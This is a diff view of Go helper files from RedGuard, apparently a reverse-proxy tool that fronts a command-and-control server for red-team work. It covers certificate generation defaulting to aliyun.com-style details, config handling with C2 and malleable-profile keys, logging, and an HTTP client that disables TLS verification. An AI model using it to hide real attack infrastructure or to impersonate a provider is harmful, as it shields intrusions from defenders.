golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+113 -113
View File
@@ -1,113 +1,113 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: CreateSSL.go * @File: CreateSSL.go
* @Time: 2022/5/8 12:51 * @Time: 2022/5/8 12:51
**/ **/
package lib package lib
import ( import (
"crypto/rand" "crypto/rand"
"crypto/rsa" "crypto/rsa"
"crypto/x509" "crypto/x509"
"crypto/x509/pkix" "crypto/x509/pkix"
"encoding/pem" "encoding/pem"
"math/big" "math/big"
"os" "os"
"strings" "strings"
"time" "time"
"RedGuard/core/parameter" "RedGuard/core/parameter"
) )
// GenerateSelfSignedCert Generate a self-signed CA certificate // GenerateSelfSignedCert Generate a self-signed CA certificate
// @param cert *parameter.Cert Certificate Configuration // @param cert *parameter.Cert Certificate Configuration
// NOTE: The *.aliyun.com certificate is used by default. // NOTE: The *.aliyun.com certificate is used by default.
// You can customize the certificate information by initializing the configuration file // You can customize the certificate information by initializing the configuration file
// By default, the certificate is stored in the cert-RSA directory in the tool directory // By default, the certificate is stored in the cert-RSA directory in the tool directory
func GenerateSelfSignedCert(cert *parameter.Cert) { func GenerateSelfSignedCert(cert *parameter.Cert) {
priv, err := rsa.GenerateKey(rand.Reader, 2048) // Generating a key pair priv, err := rsa.GenerateKey(rand.Reader, 2048) // Generating a key pair
if err != nil { if err != nil {
panic(err) panic(err)
} }
// Creating a Certificate Template // Creating a Certificate Template
template := x509.Certificate{ template := x509.Certificate{
SerialNumber: big.NewInt(time.Now().UnixNano()), // CA Certificate Serial number SerialNumber: big.NewInt(time.Now().UnixNano()), // CA Certificate Serial number
// Issuer information, same as consumer information // Issuer information, same as consumer information
Issuer: pkix.Name{}, Issuer: pkix.Name{},
// Consumer certificate Information // Consumer certificate Information
Subject: pkix.Name{ Subject: pkix.Name{
CommonName: cert.CommonName, // Cert CommonName CommonName: cert.CommonName, // Cert CommonName
Locality: []string{cert.Locality}, // Cert Locality Locality: []string{cert.Locality}, // Cert Locality
Organization: []string{cert.Organization}, // Cert Organization Organization: []string{cert.Organization}, // Cert Organization
Country: []string{cert.Country}, // Cert Country Country: []string{cert.Country}, // Cert Country
}, },
// Start time of validity // Start time of validity
NotBefore: time.Now(), NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 365), // failure time NotAfter: time.Now().Add(time.Hour * 24 * 365), // failure time
// Indicates that the certificate is used for server authentication // Indicates that the certificate is used for server authentication
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
} }
// User Optional name // User Optional name
template.DNSNames = append(template.DNSNames, cert.DNSName...) template.DNSNames = append(template.DNSNames, cert.DNSName...)
// Create a certificate, where the second parameter is the same // Create a certificate, where the second parameter is the same
// the third parameter means that the certificate is self-certificate. // the third parameter means that the certificate is self-certificate.
// return value is DER encoded certificate // return value is DER encoded certificate
certificate, err := x509.CreateCertificate( certificate, err := x509.CreateCertificate(
rand.Reader, rand.Reader,
&template, &template,
&template, &template,
&priv.PublicKey, &priv.PublicKey,
priv, priv,
) )
if err != nil { if err != nil {
panic(err) panic(err)
} }
// Place the resulting certificate into the pem.Block structure // Place the resulting certificate into the pem.Block structure
block := pem.Block{ block := pem.Block{
Type: "CERTIFICATE", Type: "CERTIFICATE",
Headers: nil, Headers: nil,
Bytes: certificate, Bytes: certificate,
} }
// Encoded by PEM and written to disk files // Encoded by PEM and written to disk files
file, _ := os.Create("cert-rsa/ca.crt") file, _ := os.Create("cert-rsa/ca.crt")
defer func(file *os.File) { defer func(file *os.File) {
_ = file.Close() _ = file.Close()
}(file) }(file)
_ = pem.Encode(file, &block) _ = pem.Encode(file, &block)
// Put the key pair from the private key into the pem.Block structure // Put the key pair from the private key into the pem.Block structure
block = pem.Block{ block = pem.Block{
Type: "RSA PRIVATE KEY", Type: "RSA PRIVATE KEY",
Headers: nil, Headers: nil,
Bytes: x509.MarshalPKCS1PrivateKey(priv), Bytes: x509.MarshalPKCS1PrivateKey(priv),
} }
// Encoded by PEM and written to disk files // Encoded by PEM and written to disk files
file, _ = os.Create("cert-rsa/ca.key") file, _ = os.Create("cert-rsa/ca.key")
_ = pem.Encode(file, &block) _ = pem.Encode(file, &block)
} }
func InitGenerateSelfSignedCert() { func InitGenerateSelfSignedCert() {
// Check whether an SSL certificate is generated // Check whether an SSL certificate is generated
if _existsCrt, _ := FileExists("cert-rsa/ca.crt"); _existsCrt { if _existsCrt, _ := FileExists("cert-rsa/ca.crt"); _existsCrt {
if _existsKey, _ := FileExists("cert-rsa/ca.key"); _existsKey { if _existsKey, _ := FileExists("cert-rsa/ca.key"); _existsKey {
return return
} }
} }
// Example Create a CA certificate storage directory // Example Create a CA certificate storage directory
if _, err := os.Stat("cert-rsa"); err != nil { if _, err := os.Stat("cert-rsa"); err != nil {
_ = os.Mkdir("cert-rsa", 0766) // Directory permissions _ = os.Mkdir("cert-rsa", 0766) // Directory permissions
} }
var cert parameter.Cert var cert parameter.Cert
cfg := InitConfig() // init config file object cfg := InitConfig() // init config file object
// Get the information in the configuration file // Get the information in the configuration file
cert.CommonName = ReadConfig(`cert`, `CommonName`, cfg) cert.CommonName = ReadConfig(`cert`, `CommonName`, cfg)
cert.Locality = ReadConfig(`cert`, `Locality`, cfg) cert.Locality = ReadConfig(`cert`, `Locality`, cfg)
cert.Organization = ReadConfig(`cert`, `Organization`, cfg) cert.Organization = ReadConfig(`cert`, `Organization`, cfg)
cert.DNSName = strings.Split(ReadConfig(`cert`, `DNSName`, cfg), `,`) cert.DNSName = strings.Split(ReadConfig(`cert`, `DNSName`, cfg), `,`)
cert.Country = ReadConfig(`cert`, `Country`, cfg) cert.Country = ReadConfig(`cert`, `Country`, cfg)
// Generate a self-signed certificate method // Generate a self-signed certificate method
GenerateSelfSignedCert(&cert) GenerateSelfSignedCert(&cert)
logger.Critical("A default SSL certificate is being generated for the reverse proxy...") logger.Critical("A default SSL certificate is being generated for the reverse proxy...")
} }
+34 -34
View File
@@ -1,34 +1,34 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: MicsSlice.go * @File: MicsSlice.go
* @Time: 2022/5/26 13:54 * @Time: 2022/5/26 13:54
**/ **/
package lib package lib
import ( import (
"math/rand" "math/rand"
"time" "time"
) )
// MicsSlice Returns a random element of the specified array // MicsSlice Returns a random element of the specified array
// @param origin []int16 Gets an array of values // @param origin []int16 Gets an array of values
// @param count int Gets the number of random elements // @param count int Gets the number of random elements
func MicsSlice(origin []uint16, count int) []uint16 { func MicsSlice(origin []uint16, count int) []uint16 {
tmpOrigin := make([]uint16, len(origin)) tmpOrigin := make([]uint16, len(origin))
copy(tmpOrigin, origin) copy(tmpOrigin, origin)
rand.Seed(time.Now().Unix()) rand.Seed(time.Now().Unix())
rand.Shuffle(len(tmpOrigin), func(i int, j int) { rand.Shuffle(len(tmpOrigin), func(i int, j int) {
tmpOrigin[i], tmpOrigin[j] = tmpOrigin[j], tmpOrigin[i] tmpOrigin[i], tmpOrigin[j] = tmpOrigin[j], tmpOrigin[i]
}) })
result := make([]uint16, 0, count) result := make([]uint16, 0, count)
for index, value := range tmpOrigin { for index, value := range tmpOrigin {
if index == count { if index == count {
break break
} }
result = append(result, value) result = append(result, value)
} }
return result return result
} }
+59 -59
View File
@@ -1,59 +1,59 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: convert.go * @File: convert.go
* @Time: 2022/5/9 12:24 * @Time: 2022/5/9 12:24
**/ **/
package lib package lib
import ( import (
"crypto/md5" "crypto/md5"
"encoding/hex" "encoding/hex"
"encoding/json" "encoding/json"
"os" "os"
"regexp" "regexp"
) )
// JsonToMap Convert json string to map // JsonToMap Convert json string to map
func JsonToMap(jsonStr string) map[string]string { func JsonToMap(jsonStr string) map[string]string {
mapper := make(map[string]string) mapper := make(map[string]string)
err := json.Unmarshal([]byte(jsonStr), &mapper) err := json.Unmarshal([]byte(jsonStr), &mapper)
if err != nil { if err != nil {
return nil return nil
} }
return mapper return mapper
} }
// ConvertIP Find IP Address // ConvertIP Find IP Address
func ConvertIP(ip string) string { func ConvertIP(ip string) string {
reg, _ := regexp.Compile(`\d+\.\d+\.\d+\.\d+`) reg, _ := regexp.Compile(`\d+\.\d+\.\d+\.\d+`)
return string(reg.Find([]byte(ip))) return string(reg.Find([]byte(ip)))
} }
// EncodeMD5 Convert string to md5 // EncodeMD5 Convert string to md5
func EncodeMD5(s string) string { func EncodeMD5(s string) string {
hash := md5.New() hash := md5.New()
hash.Write([]byte(s)) hash.Write([]byte(s))
md5Str := hex.EncodeToString(hash.Sum(nil)) md5Str := hex.EncodeToString(hash.Sum(nil))
return md5Str return md5Str
} }
// CheckIP Check whether the entered IP address is valid // CheckIP Check whether the entered IP address is valid
func CheckIP(ip string) bool { func CheckIP(ip string) bool {
if m, _ := regexp.MatchString("^(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)$", ip); !m { if m, _ := regexp.MatchString("^(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)\\.(25[0-5]|2[0-4]\\d|[0-1]\\d{2}|[1-9]?\\d)$", ip); !m {
return false return false
} }
return true return true
} }
func FileExists(path string) (bool, error) { func FileExists(path string) (bool, error) {
_, err := os.Stat(path) _, err := os.Stat(path)
if err == nil { if err == nil {
return true, nil return true, nil
} }
if os.IsNotExist(err) { if os.IsNotExist(err) {
return false, nil return false, nil
} }
return false, err return false, err
} }
+97 -97
View File
@@ -1,97 +1,97 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: handle_config.go * @File: handle_config.go
* @Time: 2022/5/5 9:15 * @Time: 2022/5/5 9:15
**/ **/
package lib package lib
import ( import (
"RedGuard/config" "RedGuard/config"
"RedGuard/core/parameter" "RedGuard/core/parameter"
"fmt" "fmt"
"io/ioutil" "io/ioutil"
"os" "os"
"os/user" "os/user"
"github.com/go-ini/ini" "github.com/go-ini/ini"
) )
var ( var (
_ConfigFilename string // Config Filename _ConfigFilename string // Config Filename
logger = Logger() // logger output model logger = Logger() // logger output model
//localPath, _ = os.Getwd() // Current project root directory //localPath, _ = os.Getwd() // Current project root directory
) )
func InitConfig() *ini.File { func InitConfig() *ini.File {
// Check whether the configuration file has been created // Check whether the configuration file has been created
cfg, err := ini.Load(_ConfigFilename) // Loading a Configuration File cfg, err := ini.Load(_ConfigFilename) // Loading a Configuration File
// Check whether loading failed // Check whether loading failed
if err != nil { if err != nil {
logger.Errorf("Fail to read file: %v", err) logger.Errorf("Fail to read file: %v", err)
os.Exit(0) os.Exit(0)
} }
// return *ini.File object // return *ini.File object
return cfg return cfg
} }
func CreateConfig(C2Server string, ConfigPath string) (int, bool) { func CreateConfig(C2Server string, ConfigPath string) (int, bool) {
currentUser, _ := user.Current() // Current operating system user directory currentUser, _ := user.Current() // Current operating system user directory
_ConfigFilename = fmt.Sprintf("%s/.RedGuard_%s.ini", currentUser.HomeDir, C2Server) _ConfigFilename = fmt.Sprintf("%s/.RedGuard_%s.ini", currentUser.HomeDir, C2Server)
// Verify that the configuration file is customized // Verify that the configuration file is customized
if file, _ := ioutil.ReadFile(ConfigPath); len(file) != 0 { if file, _ := ioutil.ReadFile(ConfigPath); len(file) != 0 {
_ConfigFilename = ConfigPath // Configuration file using a custom path _ConfigFilename = ConfigPath // Configuration file using a custom path
} }
// Check whether the current operating system user directory configuration file exists // Check whether the current operating system user directory configuration file exists
if _, err := os.Stat(_ConfigFilename); err == nil || os.IsExist(err) { if _, err := os.Stat(_ConfigFilename); err == nil || os.IsExist(err) {
return 0, true return 0, true
} }
destination, err := os.Create(_ConfigFilename) // Operating system user directory location destination, err := os.Create(_ConfigFilename) // Operating system user directory location
_, _ = destination.WriteString(config.RedGuardConfig) _, _ = destination.WriteString(config.RedGuardConfig)
defer func(destination *os.File) { defer func(destination *os.File) {
_ = destination.Close() // close destination File _ = destination.Close() // close destination File
}(destination) }(destination)
logger.Notice("RedGuard initialization is complete!") logger.Notice("RedGuard initialization is complete!")
logger.Noticef("RedGuard config path is: %s", _ConfigFilename) logger.Noticef("RedGuard config path is: %s", _ConfigFilename)
return 1, err == nil return 1, err == nil
} }
// WriteConfig Write data to config file // WriteConfig Write data to config file
func WriteConfig(section, key, value string, cfg *ini.File) bool { func WriteConfig(section, key, value string, cfg *ini.File) bool {
cfg.Section(section).Key(key).SetValue(value) cfg.Section(section).Key(key).SetValue(value)
if err := cfg.SaveTo(_ConfigFilename); err != nil { if err := cfg.SaveTo(_ConfigFilename); err != nil {
return false return false
} }
return true return true
} }
// ReadConfig Return Field data specified in the configuration file // ReadConfig Return Field data specified in the configuration file
func ReadConfig(section, key string, cfg *ini.File) string { func ReadConfig(section, key string, cfg *ini.File) string {
return cfg.Section(section).Key(key).String() return cfg.Section(section).Key(key).String()
} }
// UpdateConfig Modify the content of the configuration file // UpdateConfig Modify the content of the configuration file
// Oh, my God, this is not elegant! // Oh, my God, this is not elegant!
func UpdateConfig(cert *parameter.Cert, proxy *parameter.Proxy) { func UpdateConfig(cert *parameter.Cert, proxy *parameter.Proxy) {
var ( var (
_certList = map[string]string{ _certList = map[string]string{
"Locality": cert.Locality, "Country": cert.Country, "Organization": cert.Organization, "Locality": cert.Locality, "Country": cert.Country, "Organization": cert.Organization,
"CommonName": cert.CommonName, "DNSName": cert.DNSNameTo, "HasCert": cert.HasCert, "CommonName": cert.CommonName, "DNSName": cert.DNSNameTo, "HasCert": cert.HasCert,
} }
_proxyLIst = map[string]string{ _proxyLIst = map[string]string{
"Port_HTTP": proxy.HTTPort, "Port_HTTPS": proxy.HTTPSPort, "Redirect": proxy.Redirect, "Port_HTTP": proxy.HTTPort, "Port_HTTPS": proxy.HTTPSPort, "Redirect": proxy.Redirect,
"AllowIP": proxy.AllowIP, "AllowTime": proxy.AllowTime, "AllowLocation": proxy.AllowLocation, "AllowIP": proxy.AllowIP, "AllowTime": proxy.AllowTime, "AllowLocation": proxy.AllowLocation,
"DropAction": proxy.DropAction, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile, "DropAction": proxy.DropAction, "HostTarget": proxy.HostTarget, "MalleableFile": proxy.MalleableFile,
} }
cfg = InitConfig() cfg = InitConfig()
) )
// re cert Write Config // re cert Write Config
for k, v := range _certList { for k, v := range _certList {
WriteConfig("cert", k, v, cfg) WriteConfig("cert", k, v, cfg)
} }
// re proxy Write Config // re proxy Write Config
for k, v := range _proxyLIst { for k, v := range _proxyLIst {
WriteConfig("proxy", k, v, cfg) WriteConfig("proxy", k, v, cfg)
} }
} }
+32 -32
View File
@@ -1,32 +1,32 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: logger.go * @File: logger.go
* @Time: 2022/5/5 9:09 * @Time: 2022/5/5 9:09
**/ **/
package lib package lib
import "github.com/phachon/go-logger" import "github.com/phachon/go-logger"
func Logger() *go_logger.Logger { func Logger() *go_logger.Logger {
logger := go_logger.NewLogger() logger := go_logger.NewLogger()
if err := logger.Detach("console"); err != nil { if err := logger.Detach("console"); err != nil {
return nil return nil
} }
console := &go_logger.ConsoleConfig{ console := &go_logger.ConsoleConfig{
Color: true, // Whether the text shows color Color: true, // Whether the text shows color
Format: "[%timestamp_format%] %body%", Format: "[%timestamp_format%] %body%",
} }
fileConfig := &go_logger.FileConfig{ fileConfig := &go_logger.FileConfig{
Filename: "./RedGuard.log", Filename: "./RedGuard.log",
MaxSize: 1024 * 1024, // Maximum file size (KB). The default value is 0 MaxSize: 1024 * 1024, // Maximum file size (KB). The default value is 0
MaxLine: 50000, MaxLine: 50000,
MaxBak: 1, MaxBak: 1,
DateSlice: "d", DateSlice: "d",
Format: "[%timestamp_format%] [%function%] %body%", Format: "[%timestamp_format%] [%function%] %body%",
} }
logger.Attach("file", go_logger.LOGGER_LEVEL_DEBUG, fileConfig) logger.Attach("file", go_logger.LOGGER_LEVEL_DEBUG, fileConfig)
logger.Attach("console", go_logger.LOGGER_LEVEL_DEBUG, console) logger.Attach("console", go_logger.LOGGER_LEVEL_DEBUG, console)
return logger return logger
} }
+49 -49
View File
@@ -1,49 +1,49 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: request.go * @File: request.go
* @Time: 2022/5/5 9:08 * @Time: 2022/5/5 9:08
**/ **/
package lib package lib
import ( import (
"crypto/tls" "crypto/tls"
"net/http" "net/http"
"strings" "strings"
"time" "time"
"github.com/axgle/mahonia" "github.com/axgle/mahonia"
"github.com/go-resty/resty/v2" "github.com/go-resty/resty/v2"
) )
const USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" const USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
// HTTPRequest HTTP request and gets the response status and the body // HTTPRequest HTTP request and gets the response status and the body
// @param url string The URL to request // @param url string The URL to request
// @return respBody string HTTP response Body // @return respBody string HTTP response Body
// @return status int HTTP response status // @return status int HTTP response status
func HTTPRequest(url string) (status int, respBody string) { func HTTPRequest(url string) (status int, respBody string) {
client := resty.New() client := resty.New()
// The HTTP request timed out for 8 seconds // The HTTP request timed out for 8 seconds
client.SetTimeout(8 * time.Minute) client.SetTimeout(8 * time.Minute)
client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) // disable security check (https) client.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) // disable security check (https)
// HTTP request header information // HTTP request header information
client.Header = http.Header{ client.Header = http.Header{
"User-Agent": {USERAGENT}, "User-Agent": {USERAGENT},
"Accept": {"text/html, application/xhtml+xml, image/jxr, */*"}, "Accept": {"text/html, application/xhtml+xml, image/jxr, */*"},
"RedGuard": {"True"}, "RedGuard": {"True"},
"charset": {"UTF-8"}, "charset": {"UTF-8"},
} }
resp, err := client.R(). resp, err := client.R().
EnableTrace(). // the Resty client trace for the requests fired EnableTrace(). // the Resty client trace for the requests fired
Get(url) // HTTP GET requests Get(url) // HTTP GET requests
// Check whether the HTTP URL request succeeds // Check whether the HTTP URL request succeeds
if err != nil { if err != nil {
return return
} }
// return HTTP response StatusCode // return HTTP response StatusCode
return resp.StatusCode(), return resp.StatusCode(),
// return response body data // return response body data
strings.TrimSpace(mahonia.NewDecoder("gbk").ConvertString(string(resp.Body()))) strings.TrimSpace(mahonia.NewDecoder("gbk").ConvertString(string(resp.Body())))
} }